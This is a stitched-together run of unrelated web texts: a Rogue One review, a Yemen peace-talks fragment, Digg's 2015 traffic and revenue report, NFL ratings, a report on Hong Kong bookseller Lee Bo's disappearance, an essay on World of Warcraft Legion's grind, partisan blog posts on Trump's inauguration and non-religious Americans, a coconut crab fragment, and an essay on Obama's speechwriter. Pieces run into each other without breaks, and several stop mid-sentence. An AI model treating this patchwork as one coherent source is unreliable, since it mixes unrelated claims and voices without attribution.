effort put into practical effects. They really grounded the film in wasy that CGI typically can't replicate. The CGI was fantastic as well and there are even a few characters and scenes that it's hard to believe that you're looking at something generated on a computer. Some of the characters just look so darn real, even down to the pores in their skin. I don't want to give it away, but you'll know exactly who I'm referring to when you see them on-screen.The music by Michael Giacchino, while reminiscent of John Williams previous soundtracks, was different enough to throw me off at the beginning. It didn't last long as I quickly warmed up to the music and within the first 10 or 15 minutes felt right back at home in a galaxy far, far, away. There are some familiar tracks to be had, but that's to be expected in any Star Wars film.Not only is Rogue One: A Star Wars Story a worthy addition to the Star Wars franchise, it's a great all-around film. Great acting. Great Effects. Great Music and great storytelling. There's truly something in the film for everyone and a few very memorable and heart-touching moments as well. You might know how the story ends, but the journey is where the adventure is. I have to see it a couple of more times (IMAX 3D Thursday evening anyone?), but right now it's sitting right next to The Empire Strikes Back as my favorite Star Wars film to date.Have you seen Rogue One: A Star Wars? What did you think of it? Share your thoughts with us below!Will the peace talks on Yemen fully collapse after more than three months of negotiations? | The World Weekly
This week saw a whirlwind of back and forth diplomacy and political bickering on Yemen. As UN-sponsored peace talks in Kuwait entered their last week, the warring factions still appeared far from an agreement and clashes in Yemen continued.
Then on Sunday - one week before the peace talks are scheduled to end on August 7 - the internationally recognised government, which had previously planned to pull out of the talks, accepted a plan proposed by UN envoy Ismail Ould Cheikh Ahmed to end the |
mobile web, email, social), as best we’re able to accurately account for them. We do a quarterly average in order to iron out seasonal changes and determine the overall trend. The Q1 2015 number is based on January performance.
While I’ve been happy to see strong, steady MAU growth over the year, I’m especially happy that the growth has been organic. While all our channels have been scaling, what’s notable is that direct traffic continues to dominate over search, social, and referral. Even at current scale, around 70% of our web traffic comes direct. This is a testament both to the Digg brand and to our ability to build products that users want to share with their friends. Digg in 2015 represents what the Internet is talking about, and a lot of people type our domain into their browsers and search engines each day. This was all accomplished without marketing: other than a few thousand dollars spent on one-off Facebook experiments, growth has been organic.
Social traffic
We get a lot of inbound traffic from Facebook and Twitter, and we drive a lot of activity there too. In just the last week, for example, about 600,000 Facebook users liked, commented, shared, or clicked on our posts. Since January 1, we’ve seen more than 3.5 million clicks from Facebook. Much of this has been on Digg videos. Generally, we’ve been getting better at Facebook, as you can see. You’ll also note that (a) during our first year, our Facebook activity was so small, it’s barely visible on the chart below, and (b) December 2013 was a huge outlier month, right after we launched Digg Video, to what seemed to be ardent (but fleeting) love from Facebook’s newsfeed algorithm.
Our total Facebook reach in the past week was slightly more than 7 million users — all organic. Over on Twitter, we’ve got a healthy 1.5 million followers.
Tumblr is also a significant social channel for us. We launched Digg’s blog on Tumblr in December 2012. By December 2014, we had 711,700 active users (“curators” in Tumblrese, meaning users who have liked, shared, or commented on a Digg post in that month); so far in January, we’re at 788,031. Tumblr’s often regarded as a pretty contained ecosystem, so we’re particularly proud of our success there.
On Vine, we have 24,400 subscribers; across Vine, we’ve triggered 30,849,284 loops.
Digg Video tends to do disproportionately well on social networks, confirming the truism that arresting video is the most share-worthy thing on the Internet. The all-time biggest video on Digg — “What You Get When You Pour Molten Aluminum Into An Ant Hill” — garnered more than 32 million views, most of them triggered by Facebook shares. Just this week, Digg Video has gotten more than 1 million views on an insane archery video that, I have to stress, you must watch. (Seriously, stop reading this for a minute and watch that video. Lars Andersen is a beast.)
As an aside, these types of super-performing videos are responsible for some of the month-to-month peaks and valleys of traffic on Digg. In December 2013, the aluminum anthill video pushed Digg’s MAUs up over 15 million; in October 2014, a couple of strong videos brought MAUs back over 10 million; and it looks like this month, January 2015, will also end well above 10 million.
On a related note, we’ve been doing a bunch of experiments with original Digg Videos to suss out what our audience finds compelling. For example, “Every Onscreen Death in Game of Thrones, In Under 3 Minutes.” So far, we’ve racked up 3.7 million views across 15 videos on YouTube. We’ve also been testing new formats, like infographics and a series of tappable essays on things like “How to Beat Jet Lag (And Why You Get It)” and “What Cavemen *Actually* Ate on the Paleo Diet”.
Traffic and Engagement Numbers
Digg is a complicated site to measure. On the one hand, we want to send our users efficiently elsewhere, as rapidly as they find interesting things to read or watch. On the other, we want them to stick around, and return often. The Digg homepage is something users check frequently, but it’s goal is to send them away; Digg Reader and Digg Deeper are products users keep open all day. There’s a similar dynamic with our mobile and tablet apps. So we look to a bunch of different metrics, gathered by multiple analytics tools.
We track an internal metric of “reads,” which combines clicks (web, mobile, email, but not social) plus the number of stories read in Digg Reader. In 2014, we enabled between 2.5 to 3 million reads a day, give or take.
We track user engagement. Among Digg’s web users, the average session duration in 2014, measured by Google Analytics, was 4 minutes and 16 seconds (i.e., not bad!).
We close pay attention to how users get to Digg. Our ~70% direct traffic rate has remained pretty consistent even as Digg has more than tripled its MAUs.
And a fundamental metric for Digg is user loyalty. Looking at Chartbeat, 2014 visitors to the Digg homepage, video pages, and Digg Reader were 51.5% “loyal users,” 30.9% “returning users,” and 17.5% “new users.” (A “loyal user” is a user who has visited Digg 8+ of the last 16 days; a “returning user” is a user who who has visited Digg less than 8 times in the last 16 days; and a “new user” is visiting Digg the first time in the past 30 days.)
Digg Deeper
One of our most interesting product launches in 2014 was Digg Deeper, which turns a social stream like Twitter into a high-value list of the very most-shared links among your friends, updated in real time. Effectively, Digg Deeper is your Twitter friends recommending the links they collectively think you should pay attention to. Feature-wise, it’s pretty great. Personally, I love being able to see my friends’ tweeted comments on each story. Rather than scroll endlessly to read disjointed tweets about a given story, Digg Deeper pulls it all together into a cohesive and digestible snapshot. Since we launched in August, sign-ups have been solid and steady, though not huge — more than 150k in all. Digg Deeper users do, however, tend to be obsessive.
Revenue & How to Grow It
A major Digg workstream for 2014 was to get consistent revenues from advertising. By December, we were doing exactly that. We have been very deliberate about monetization — we want to do it in a way that fits our user experience, delivering something genuinely valuable to users. Our primary ad unit is a sponsored post called “Startups We Digg,” “Apps We Digg,” “Pants We Digg,” “Groceries We Digg,” etc., depending on the thing being sold. It’s what some would call a native ad, meaning that it fits into the look and feel and editorial tone of the site (though clearly marked as an ad, of course!). We run only one sponsored post a day, and it’s always a product or service that the Digg team is genuinely into. (Check them out.) They are primarily sold as performance-based ads, aimed at companies selling products, services, or subscriptions that fit the Digg audience of Internet lovers, media junkies, and early adopters.
In 2015, the challenge is to couple user and product growth with the right monetization experience, one that moves with the grain of our product experience — one that speaks Internet, and that scales. Specifically, we aim to grow revenues overall (more than 3x); to introduce new ad options, particularly for brand and entertainment advertisers; to test and decide on mobile and email ad options; and to prove that we can scale without dropping in quality or messing up Digg’s clean and uncluttered user experience.
The Return of The Digg Effect
The Digg Effect describes the surge in traffic that hits a publisher when one of its stories makes it to the Digg homepage. (It’s a flavor of the Slashdot Effect). More broadly, that dynamic is what makes Digg, with its cross-cutting, low-cost, high-leverage curation model, a valuable contributor to the online publishing ecosystem. People visit Digg to see what’s interesting and noteworthy from across the Internet; in turn, publishers that produce great work benefit from a wave of readers who might not otherwise have seen it.
Though we’ve certainly not (yet) returned to the towering heights of the old Digg circa 2007, publishers are once again noticing a potent Digg Effect. Though most publishers don’t talk publicly about their traffic stats, we saw a steady flow of posts and Tweets noticing its return. Here’s a few:
The “Digg effect” is back. —. — MarketingLand
You might be surprised to learn that content site Digg was our third largest source of traffic [this] year, surpassing Reddit and Google Search. …. Under Betaworks’ stewardship, editors and algorithms (instead of users) now choose which articles are on the front page. Digg has a clean design, very interesting articles, and appears to be blossoming in its second act. — Priceonomics
Wow, really interesting to see: Being on the front-page of @digg still drives great traffic. — Leo Widrich
Can I just say that I’m blown away that @digg is the third largest referrer to my Thoughts on Google+ post? — Chris Messina
You can always tell when Digg or someone similar picks up on a @mosaicscience piece — traffic shoots up 500%. — Mun-Keat Looi
Users + Engagement (& How To Grow Them)
Looking ahead, 2015 is going to be a year marked by scaling and major product launches. We’ve built a data platform and a custom content management system called Canvas that undergirds a fairly efficient and high-leverage business. We have a low cost-per-read / cost-per-view / cost-per-click — a thin layer of editors sitting atop an awesome set of social-data-rich crawling, sorting, ranking, scoring, and flagging tools. To give you a sense of scale, Digg’s editorial team consists of just six people who, as a team, work nearly 24 hours a day, 7 days a week. In 2014, that small team curated 22,013 homepage stories, 3,344 videos, and 227 originally-written pieces.
So even with the expense of editors on top of our data infrastructure and CMS, we have figured out how to effectively curate a vast and overwhelming Internet for a sizable and coherent audience. With the benefit of our existing technology stack, we think our model of [editors + algorithms] is one that can efficiently be scaled to other languages and other parts of the world. And so that’s one thing we’re going to pull off this year.
We live in a world where there is a vast oversupply of things to read, creators clamoring for your attention. One thing that is scarce, and highly valuable, is awesome curation. Digg provides awesome curation, plus clean design, a witty voice, and a bunch of useful tools and products.
To become more useful to our users — more enjoyable as well as more essential — we’re starting to incorporate social features, bringing some of the best dynamics of the old Digg back into the new Digg. With Digg Deeper, we’ve now started to bake personal connections and conversations back into our products. We’ve heard from many readers that they want to be able to see what their friends are digging, and to spark or join conversations with friends about those links. The evolution of Digg in that direction is going to accelerate dramatically in 2015. The trick, as always, is to add feature depth to Digg without overcomplicating the simple design that’s appealed to our readers.
In sum: Lots to come; watch this space.
P.S.: Can’t fail to mention this: We’re hiring! Android lead, mobile dev, front-end, back-end, platform engineers, dev/ops, editorial, revenue/sales, and more. Check out the Digg Jobs page.The NFL’s highest rated TV window got off to its worst start in more than a decade, though breaking weather coverage may have played a role.
The Week 1 NFL national window, featuring Seahawks-Packers in 89% of markets, had a 12.7 rating and 22.8 million viewers on FOX Sunday afternoon — down 18% in ratings and 17% in viewership from last year (15.5, 27.5M) and down 6% and 2% respectively from 2015 on CBS (13.5, 23.3M). Last year’s window featured Giants-Cowboys and the 2015 telecast featured Ravens-Broncos.
The 12.7 rating is the lowest for the Week 1 NFL national window in 14 years, since FOX posted a 12.5 for coverage featuring Falcons-Cowboys in 2003. The previous low over that span was a 13.0 for coverage featuring Cowboys-Browns in 2008, also on FOX.
ADVERTISEMENT
It was the least-watched Week 1 national window since that 2008 telecast, which had 20.9 million.
Earlier in the day, regional action featuring Philadelphia-Washington in 51% of markets had a 6.6 rating and 11.3 million viewers — down 28% in both measures from last year (9.2, 15.8M) and down 27% and 24% respectively from 2015 on CBS (9.0, 14.9M).
It was the lowest rated and least-watched Week 1 window on broadcast television since the first half of that 2008 doubleheader on FOX (5.1, 7.9M).
Competing news coverage of the approaching Hurricane Irma may have affected the numbers. The Weather Channel averaged 4.3 million viewers from 1-8 PM ET Sunday (on the comparable day last year, the network’s top hour had 284,000).
[Wknd. numbers via ShowBuzz Daily 9.13]Cartoon by South China Morning Post's veteran political cartoonist Harry Harrison, January 2016. Reproduced with permission of South China Morning Post.
The Hong Kong publisher whose disappearance has caused a major rift between Hong Kong and Beijing has written to a colleague to say that he is in China, where he is "cooperating with the authorities with an investigation."
Lee Bo, whose publishing company specializes in books critical of Beijing’s Communist Party leaders, vanished Wednesday in what lawmakers and experts say looks increasingly like an illegal abduction by Chinese police. He is the fifth member of the Mighty Current publishing house to vanish, amid reports that it was planning a gossipy book about the love life of Chinese President Xi Jinping.
In a fax to a colleague at Causeway Bay Books, a subsidiary of Mighty Current, Lee claimed to have traveled to China "by my own means, to cooperate with an investigation carried out by relevant department," calling his situation "good" and "normal." But the handwritten fax, published by Taiwan's Central News Agency, raised as many questions as it answered, because Hong Kong police have said that they have no record of Lee passing through immigration, and his wife has said that he was not carrying any travel documents with him when he vanished.
In China, "assisting the authorities with an investigation" frequently equates to detention, suspicion of criminal activity and, sometimes, even torture. With the case garnering considerable international attention, the suspicion remains that Chinese police abducted Lee and that Chinese authorities pressured him into sending the fax in an attempt to calm the situation. On Monday, his wife, Sophie Choi, went to Hong Kong police to withdraw her earlier complaint, according to Hong Kong's Ming Pao newspaper.
"I think it's a charade performed under duress," said Claudia Mo, a lawmaker with the pro-democracy Civic Party. "He has obviously been smuggled out, but his wife has got the message that keeping a low profile would help his release, because the Chinese would save face."
Lee’s disappearance is seen as an assault on Hong Kong’s cherished principles of freedom of expression and autonomy from Beijing, as well as a sign that China is becoming increasingly bold in its efforts to track down and abduct dissidents and opponents outside its borders.
On Monday, Hong Kong’s chief executive, Leung Chun-ying, said it was “not acceptable” for Chinese police to operate independently in Hong Kong, but Leung, a Beijing loyalist, said there was “no indication” that this was what had happened.
Pro-democracy lawmakers said, however, that it appeared likely that Chinese police had kidnapped Lee.
If confirmed, the lawmakers said, Lee’s abduction would be a serious violation of the "one country, two systems" principle and the Basic Law framework that have defined Beijing’s relations with Hong Kong since the 1997 handover from British rule.
“This is a serious concern to all Hong Kong people,” Civic Party lawmaker Dennis Kwok said in a telephone interview. “This sort of thing is not supposed to happen in Hong Kong."
Anson Chan, who was the territory’s chief bureaucrat immediately after the 1997 transfer, said Hong Kongers were feeling increasingly vulnerable amid a “steady erosion” of the rights that were guaranteed at the time of the handover.
“If mainland authorities are allowed to enforce laws in Hong Kong, it spells the death knell for ‘one country, two systems,'” she said in a telephone interview.
Lee, a major shareholder in Mighty Current and Causeway Bay Books, disappeared Wednesday evening from Hong Kong, before reportedly calling his wife from a number in Shenzhen, southern China, saying he was assisting in an investigation.
Protesters hold photos of missing booksellers outside the liaison office of the Central People's Government in Hong Kong on Sunday. The Chinese words on banner reads "Where is Lee Bo? Liaison of the Central People's Government of Hong Kong explain!" (Vincent Yu/AP)
In October, another major shareholder, Gui Minhai, disappeared from his beachfront apartment in Thailand, and three employees vanished around the same time while traveling in southern China.
On Monday, Leung called reporters to his office to “state solemnly” that, under the Basic Law, only Hong Kong’s law enforcement agencies have the authority to enforce laws in the territory.
“The freedom of the press and freedom of publication and freedom of expression are protected by laws in Hong Kong,” he said, according to an official transcript of his remarks, adding that he was paying close attention to the case.
Other officials said local police were pursuing Lee’s disappearance as a “missing persons” case and had contacted authorities on the mainland. But Chan said Leung should take the matter up at the highest level in Beijing.
“The Hong Kong government needs to get to the bottom of this very quickly, give a full and proper account to the people of Hong Kong, and put people’s minds at ease,” she said.
In a viral video, activist Agnes Chow issued an "urgent cry from Hong Kong."
"In the past we were safe because we lived in Hong Kong and not in mainland China. However, the circumstances have changed with the abduction," said Chow, a former spokeswoman for the student organization Scholarism, which played a leading role in the 2014 pro-democracy protests in Hong Kong known as the Umbrella Movement. By Monday evening, the video had been viewed more than 850,000 times on Facebook and YouTube. "We feel that Hong Kong is not Hong Kong anymore, it is named as Hong Kong only."
Democratic Party lawmaker Albert Ho said at a news conference on Sunday that the city was “shocked and appalled” by Bo’s disappearance, according to the Associated Press.
Ho said one possible explanation for Lee’s disappearance was that the Mighty Current publishing company was being pressured to scrap plans for a book rumored to be about an old “girlfriend or mistress” of Xi.
Willy Wo-lap Lam, an adjunct professor at the Chinese University of Hong Kong, said the book was to have been titled “The Lovers of Xi Jinping” and would have covered the period when Xi held various official posts in Fujian province between 1985 and 2002, including after his marriage to well-known People’s Liberation Army singer Peng Liyuan in 1987.
Mighty Current is one of a handful of publishers in Hong Kong specializing in books highly critical of the Communist Party leadership, often based on extremely flimsy and unspecified sourcing.
Many of the books focus on political intrigue and infighting in the corridors of power, as well as gossip about the exploits of leaders’ families. The books, banned in mainland China, are bought both by Hong Kong residents and tourists from the mainland.
Lam said Chinese authorities had made an unpublicized decision in early 2015 to "eradicate or silence" those four or five publishing houses.
In Beijing, Foreign Ministry spokeswoman Hua Chunying said at a routine news conference that she had not heard about the case and had “no information.”
But the nationalist Global Times newspaper had heard the reports.
In an editorial, it said the case had been “sensationalized” in Hong Kong, arguing that there was no point in “political speculation” while the investigation was continuing. But it simultaneously launched an attack on the publishers.
Many of the books published by the group contained “maliciously fabricated content and seriously violated the right to reputation,” causing political rumors to spread back to the mainland, it wrote.
“Although Causeway Bay Books is located in Hong Kong, it actually makes a living causing a disturbance in mainland society, and damaged the harmony and stability of mainland society,” it wrote. “In the era of the Internet, the negative influence it created is not only limited in Hong Kong, but it is also infiltrating the mainland, and became a practical problem for the country.”
William Nee, a China researcher with Amnesty International in Hong Kong, said that although all the facts had not come to light, there was “good reason to believe” that mainland authorities were behind Lee’s abduction.
“The detentions of bloggers, democracy activists and independent journalists are unfortunately almost a daily occurrence in China, but thus far this sort of naked attack on freedom of expression has been unheard of in Hong Kong," he said. "This shocking case should also be seen in the context of a creeping internationalization of China's crackdown on dissidents and freedom of expression.”
Nee cited China’s collusion with Thai authorities to repatriate a democracy activist and a cartoonist in November, though the U.N. High Commissioner for Refugees had recognized them as refugees, and the way it cooperated with Burmese authorities in October to secure the return of the 16-year-old son of a human rights lawyer and activist who had fled from China.
Further internationalizing the issue is the fact that Gui is a naturalized Swedish citizen, while one report in the Hong Kong media quoted Lee's daughter as saying that he might also hold a British passport. A spokesperson for the British Embassy in Beijing told the Guardian newspaper that British officials are "urgently investigating" those reports and are "deeply concerned" about the reports of the disappearances.
In Hong Kong, Lam said Lee’s disappearance has sparked huge concern among critics of the Chinese government, including pro-democracy politicians, journalists and other publishers.
“This could happen to anybody,” he said. “People are very shocked, and they are quite afraid.”
See more Harry Harrison cartoons in the South China Morning Post here.
Read more:
How a 16-year-old found himself caught up in China’s latest crackdown
China’s Xi tells grumbling party cadres: ‘Don’t talk back’The honeymoon is over, I came, I saw, I floundered, and after a few blissful months re-immersed in my old Azerothian stomping grounds I’ve found myself completely sapped of the will to carry on.
It turns out that I’m hardly alone on this one. The forums and social media communities have been aflutter with consternation about the current state of the game. There’s been weeping, gnashing of teeth, people taking things personally where they really have no reason to do so – you know, all the usual stuff. So where’s it all coming from?
The source of the brackish malaise eroding my personal enjoyment of Legion hasn’t been the easiest to put a finger on. There’s nothing wrong with the content introduced with Legion; even though the love has died, on that front, I’d still probably call it World of Warcraft‘s greatest expansion. And yet, somehow, I have absolutely no desire to keep playing it. Somewhere, below the shiny, polished exterior, something is rotten in Azeroth – and it’s not an Old God.
Metasystems in Game Design
Unfortunately for Blizzard, great content isn’t all it takes to make a game enjoyable, particularly in the medium to longer terms. Players might be more than happy to run a world quest, dungeon, or raid once or twice for the fun of it, but if you want to keep them coming back then you need something else to spur them along. This is where metasystems come into play.
Layered on top of existing content, you have content rewards, which is one of the most important metasystems in MMO design. These are complex systems in their own right that include achievements, collectible cosmetics, gear progression, reputation, attunements, or even just alternate experience (including its recently added endgame analogue with artifact power). While not rocket science, it takes a careful balance to make sure the player feels engaged, has a steady stream of self-set goals, and doesn’t feel totally overwhelmed or worry that the rest of the player base is passing them by. With Legion, for many, it feels like that balance has been upset.
We’ve seen poorly tuned metasystems wreak havoc in the past; some MMOs have struggled or outright failed because they got them wrong. Of the more famous examples, and perhaps the most tragic, is WildStar. This was a game largely regarded as having terrific gameplay and fantastic content, yet ultimately destined for the dustbin of MMO history due to the mucked up way in which its metasystems and content reward structures were designed at launch.
World of Warcraft isn’t in any danger of sinking to that particular level of ignominy, of course. It’s an established title with a gargantuan base of loyal fans that aren’t going anywhere. But an increasing number of them are becoming dissatisfied as a direct result of Legion‘s metasystem design, and Blizzard would be well advised to listen.
The Dreaded AP Grind
I’m not going to dwell too long on AP. That particular dead horse has already been beaten beyond recognition by everyone with an internet connection and a passing interest in the current expansion, but it does bear mentioning as one of the principle offenders in Legion‘s new endgame metasystem philosophy.
With Legion, World of Warcraft added artifact weapons. These are powerful new items that are leveled with artifact power experience and add a new form of specialization-specific progression to the title’s endgame. These weapons are designed to grow with the players over the course of Legion, and won’t be replaced until the launch of the next expansion.
Where it’s gone off the rails a bit is that this progression, after a certain point, becomes functionally endless, creating a situation where any player with even a semblance of a competitive edge feels an immense amount of pressure to grind to keep up. Those that don’t keep up with the grind run the risk of being excluded as AP levels gradually becomes the new gear score by which their character’s worth is judged (in addition to their actual gear score).
I’ve never been a fan of infinite progression systems. Take Black Desert Online‘s elder game of endless grinding. It gives players something to work towards but never complete. The goal is ephemeral, unachievable, and ultimately, a bit disillusioning as a result. Every race has an end. Without one, all you’re doing is running. Once you’ve had enough, it’s the game you end up running from.
When your game has a competitive raiding scene like World of Warcraft‘s, the result is far worse. Players begin to feel as if a significant part of their success can be reduced to their /played, and any feeling of fairness between competitive progression guilds feels undermined as a result. Even if it’s mathematically not that impactful (and I’m not saying it isn’t), the feeling is what really matters here. Many players feel like how well you play matters less and less compared to how long you play, and that’s not a healthy perception for your consumers to have. Whether you personally feel that way or not, artifact power is beginning to undermine the game’s other systems for a great many players.
The New Role of RNG in Item Quality
While AP has taken the brunt of the disdain from players dissatisfied with Legion, I don’t feel it’s the only factor creating the borderline oppressive atmosphere making so many players feel an obligation to be constantly progressing. While not entirely new to Legion, one of Warcraft‘s recent reward distribution changes was to allow gear of almost any source to roll up to a higher quality iLvl. This is a functionality that has expanded moderately with each expansion since Mists of Pandaria. Ostensibly, the purpose of this change might be to create opportunities for lower tier players to progress more rapidly if they were lucky enough to get higher iLvl roll ups.
The unfortunate consequence of this was to create a progression system without plateaus, where a large swathe of the the endgame remains relevant progression content for the great majority of players. Back in the day, progression activity would typically be limited to the events of a weekly night or two of raiding. It’s now encroached to encompass nearly any given moment when the player is logged in. Any combination of World Quests, Heroics, Mythic and Mythic + Dungeons, various raids at varying tiers and difficulty settings, and PvP could result in upgrades for a given player. The result is they feel obligated to get through as much of it as possible every week – especially because getting a best-in-slot item to drop no longer necessarily means that you’ve gotten the best version of that item. Gone are the days of a lone progression night with a feeling of working from tier to tier to tier, and years past where we joked that our MMOs felt like a second job feel quaint by comparison.
The Blizzard School of Design Philosophy
Blizzard has seen massive success in its other properties over the past few years: Overwatch, Heroes of the Storm, StarCraft 2, and Diablo 3 are all fantastic games with devout, rabid fan bases who sink hundreds of hours into each and every one of those titles. Blizzard is adept at addiction, masters of creating games that suck up time like super-massive black holes, spinning their players into an oblivion where no other games seem to even exist.
In those titles, Blizzard’s game metasystems tend to focus largely on what I would call quantifiable microsessions. Every time a player logs on, no matter how short, they can walk away visualizing exactly what they’ve accomplished, feeling like they’ve moved a step up the ladder, having a tangible sense of their account moving forward. Every time you log off, you can mentally track what you accomplished on a chart, a little imaginary bar filling in towards achieving your eventual goal.
Progression in World of Warcraft, like other MMOs, used to exist outside of that philosophy. It was more of a long term proposition, relegated to specific weekly nights while the rest of your time was filled largely with side activities and an enjoyment of the virtual world and the other players who inhabited it. Now sure, a lot of those side-activities were absolutely quantifiable (any daily-affected reputation comes to mind), but they were a far cry from the mind-numbing, spirit-crushing deluge of continuous progression sweeping Legion‘s players away.
In the past, quantifiable microsession based gameplay in Warcraft has largely focused on cosmetic achievements and rewards. Sure, you can log in and earn progress towards a rare mount or a fancy new pet, but you never felt like you fell behind if you weren’t doing these things every day. When you bring progression into that design philosophy, the game changes completely.
It’s a tough line to tread and an unenviable balance for the game’s developers to have to maintain. It takes a lot of content to keep your players interested, but if your rewards metasystems are out of whack and too much content feels mandatory, the pressure of keeping up can end up alienating your players just as quickly as a lack of content would bore them.
Warcraft has made a striking leap from the era of Warlords, which offered its player too little, to its new status quo of Legion demanding that its players complete too much, and while I (greatly) prefer the current iteration, it’s important that the team at Blizzard find a healthier balance of what’s merely peripheral and what players feel obligated to perform going forward. Keep all the fantastic content you’ve created and don’t slow down on adding more – just adjust the balance of systems like artifact power and gear distribution to move Legion‘s progression away from the endless, time-sucking grind we have now, back into the virtual world of possibility that millions of players have loved for over a decade.
Related: Blizzard EntertainmentMSNBC's Rachel Maddow did not mince her words and was horrified after listening to our new president give his inauguration speech to the country.
Many in the media have tried to characterize Trump's words as some sort of "populism" just because he mentions the working class and giving America back to the people, but his polices and cabinet choices tell us something much different.
Maddow said, "This was a workman-like speech. It was short and he went through it quickly, and it was militant and it was dark, the crime, the gangs, the drugs, this American carnage, disrepair, decay."
She continued, "You can't imagine the outgoing president giving a speech like that. This president -- [I'm] also repeating the new president -- also repeating that our guiding principle will be America first, America first."
The MSNBC host then explained the history surrounding the "America First" slogan Trump uses.
Maddow continued, "We know how he has used that as a campaign slogan, that also has dark echoes in American history. There was an America first committee that formed in this country hundreds of thousands of people in this country, some of the richest businessmen in the of it, they were formed to keep us out of world war ii. they were infiltrated by the Nazis, many of them are anti-Semitic, part of why they weren't alarmed by Hitler's rise in Germany. The America first committee is something that means a specific thing in this country, to re-purpose it now, not that far down the historical path. It's hard. it's hard to hear."
I cringed as I sat through President Trump's speech as well. It was nothing more than a regurgitation of his usual stump speeches and what we heard at the RNC convention: "America is destroyed, the inner cities are burning, you get shot walking across the street, etc..." It has to be a dark awful view so the great man Trump can swoop down and fix it. Typical megalomania. His views are not based in reality, but when has that ever stopped Donald Trump?
↓ Story continues below ↓
And one wag noted that his speech copied a line from...Bane the Batman villain?There is a minority group in America that is a bigger percentage of the country than blacks or Hispanics. But they are often ignored or derided in public. Almost no politician would ever admit to being one. And they are given no voice in the public arena.
They are the non-religious. A new comprehensive study by The Program on Public Values at Trinity College shows that this group is now a whopping 15% of the country. Mormons by comparison are a puny 1.4% of the population, and people can't shut up about the Mormons. The Senate Majority Leader is a Mormon, one of the top Republican presidential candidates was Mormon and even HBO has a whole show devoted to them.
Even though the non-religious are more than ten times larger, other than Rep. Pete Stark (D-CA), not one member of Congress would even admit to being in the dreaded minority of non-believers. They are almost never accounted for in any political discussion of religion in the country. The devout view them as amoral at best and destined for eternal damnation at worst. Yet, this kind of abuse and scorn is widely accepted and expected.
And, if God forbid, they should ever fight back and forcefully present their opinions, they are often considered rude and offensive.
I've always been amused at the idea that a religious person can say that an atheist will burn in hell as a result of their beliefs, and that is not considered offensive; but if an atheist says that believing in God makes no sense, that is considered deeply offensive. One person is charging the other with faulty logic; the other is charging them with a base immorality that warrants eternal torture. How is the former even vaguely more insulting than the latter?
I have a confession - I am in that 15%! Gasp, shriek. I, too, am in the unspeakable minority. The minority that is not silent by choice but by decision of the people in power. They say we don't merit a seat at the table. That our views are offensive to the majority, so they cannot be countenanced in polite company, or more importantly, on the Sunday morning talk shows.
But we shall be silent no more! Rise up, my non-religious brothers and sisters. Agnostics, atheists, deists and the religiously indifferent can all join hands, stand up and be counted. Time for the silent minority to roar!The enormous claws of a coconut crab may be more powerful than they look – and they look pretty scary.
The crab native to islands in the Indian and Pacific Oceans can grow up to a leg-span of 3 feet and a weight of nearly 9 pounds, making it the largest terrestrial crab. Being such massive animals, coconut crabs (Birgus latro) try to eat whatever they can get their burly claws on. While that mostly means vegetation like the hard-shelled coconut for which they are named, they are also know to prey on other small animals like kittens.
Anyone who has ever tried to crack open a coconut without tools knows this is quite the feat, even for a 9-pound crab. So a team of scientists decided to measure exactly how much force these hefty crustaceans can exert when they pinch their prey.
As it turns out, the coconut crab's claw can pinch with a force greater than that of any other crustacean that has been measured, according to a |
of Dreams From My Father, written before Obama entered politics, using it as the key to his master's authentic voice. He has internalised Obama's speech patterns along with his biography, and can now impersonate Obama on the page, speaking in the first person singular, with uncanny plausibility. Favreau says that when he leaves the White House he'd like to write "a screenplay or maybe a fiction book based loosely on what all this was like". But - whether or not he knows it - he is writing fiction now, losing himself inside a character remote from his own, as playwrights do. It's a bit like Alan Bennett writing Miss Fozzard and the other monologuists in his Talking Heads series: Favreau is white, single, 20 years younger than Obama, a buzzcut Generation Y-er, whose chief amusement, when not channelling Obama on his laptop, is all-night videogaming. (He caused a momentary scandal when the press found on his Facebook page a silly photo of him groping the right breast of a cardboard cutout of Hillary Clinton, while a friend jammed a bottle of beer against her face.)
The gulf in age and temperament between Obama and Favreau is probably a liberation for the speechwriter. To inhabit the skull of someone different from oneself is one of the great pleasures of writing fiction, and the character of Obama (should that be "Obama"?) must be fun to work with: his natural gravity, his unflappable cool, his perpetually wrinkled brow, his sudden flashes of self-depreciating humour ("a mutt like me..."), his ability to switch styles, from law professor to black preacher and back again, his rich and flexible actor's baritone. No president since Kennedy has given his ghost so much to exploit, so many opportunities for elaborate verbal invention.
I suppose it's naive to be disconcerted by the fact that Obama employs ghosts (Favreau heads a team of them), but his best speeches have been so personal, so drenched in the past he described in Dreams From My Father, that one can't help feeling a little let down to learn that, for instance, his masterful and exhilarating speech on race, delivered last March in Philadelphia, was a joint Obama/Favreau production. From the Washington Post:
"One Saturday night in March, Obama called Favreau and said he wanted to immediately deliver a speech about race. He dictated his unscripted thoughts to Favreau over the phone for 30 minutes - "It would have been a great speech right then," Favreau said - and then asked him to clean it up and write a draft. Favreau put it together, and Obama spent two nights retooling before delivering the address in Philadelphia the following Tuesday."
I think it's fair to assume that Favreau was here minimising his own role in the composition of the speech. But, however one reads the account, what is one to make of this much-quoted passage:
"I can no more disown [the Rev Jeremiah Wright] than I can disown the black community. I can no more disown him than I can my white grandmother - a woman who helped raise me, a woman who sacrificed again and again for me, a woman who loves me as much as she loves anything in this world, but a woman who once confessed her fear of black men who passed by her on the street, and who on more than one occasion has uttered racial or ethnic stereotypes that made me cringe. These people are a part of me. And they are a part of America, this country that I love..."
As soon as one becomes aware of the presence of Favreau's fingers on the keyboard, the can of Red Bull, his preferred energy drink, beside him on the table, and the whiteness of his skin, the questions multiply: does this sound like Obama talking over the phone to Favreau? Obama recalling his Hawaiian childhood in his own words? Or just Favreau recalling Obama's 1995 memoir (which he must now know by heart)? As Bill Clinton almost said, it all depends on what the meaning of I is.
The aim of Obama's inaugural, he told George Stephanopoulos on ABC's This Week, was "to try to capture as best I can the moment we are in". It would have been a more obviously arresting speech if he'd tried to capture the moment in the language of the present century instead of using the faux-antique dialect of past inaugurals. So many phrases had the dull patina of silver that has jingled in dead presidents' pockets. The few mint coins in his oration stood out by their brightness, like "our patchwork heritage", followed by the addition of "non-believers" to "We are a nation of Christians and Muslims, Jews and Hindus" - the first time that atheism has been included under the rubric of religious tolerance and freedom. And there was the pretty rhetorical flourish of "The nation cannot prosper long when it only favours the prosperous".
